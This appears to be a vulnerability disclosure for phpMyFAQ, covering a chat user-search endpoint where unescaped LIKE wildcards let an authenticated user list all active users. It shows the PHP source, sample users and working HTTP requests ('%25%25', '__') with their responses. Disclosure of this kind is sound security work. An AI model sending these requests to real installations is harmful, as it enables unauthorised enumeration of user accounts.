phpMyFAQ CVE-2026-47132

  GET /api/chat/users?q=...

  // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
  $query = trim($request->query->get('q', ''));

  if (mb_strlen($query) < 2) {
      return $this->json([
          'success' => true,
          'users' => [],
      ], Response::HTTP_OK);
  }

  $chat = new Chat($this->configuration);
  $users = $chat->searchUsers($query, $this->currentUser->getUserId());

  // phpmyfaq/src/phpMyFAQ/Chat.php
  $escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));

  $query = sprintf(
      "SELECT u.user_id, ud.display_name
       FROM %sfaquser u
       LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
       WHERE u.user_id != %d
         AND u.user_id > 0
         AND LOWER(ud.display_name) LIKE '%%%s%%'
         AND u.account_status = 'active'
       LIMIT %d",
      Database::getTablePrefix(),
      Database::getTablePrefix(),
      $excludeUserId,
      $escapedTerm,
      $limit,
  );

  userId=2 displayName="Alice Finance"
  userId=3 displayName="Bob Support"
  userId=4 displayName="Carol Engineering"

  GET /api/chat/users?q=zz HTTP/1.1
  Host: target
  Cookie: [authenticated session]

  {
    "success": true,
    "users": []
  }

  GET /api/chat/users?q=%25%25 HTTP/1.1
  Host: target
  Cookie: [authenticated session]

  {
    "success": true,
    "users": [
      {
        "userId": 2,
        "displayName": "Alice Finance"
      },
      {
        "userId": 3,
        "displayName": "Bob Support"
      },
      {
        "userId": 4,
        "displayName": "Carol Engineering"
      }
    ]
  }

  GET /api/chat/users?q=__ HTTP/1.1
  Host: target
  Cookie: [authenticated session]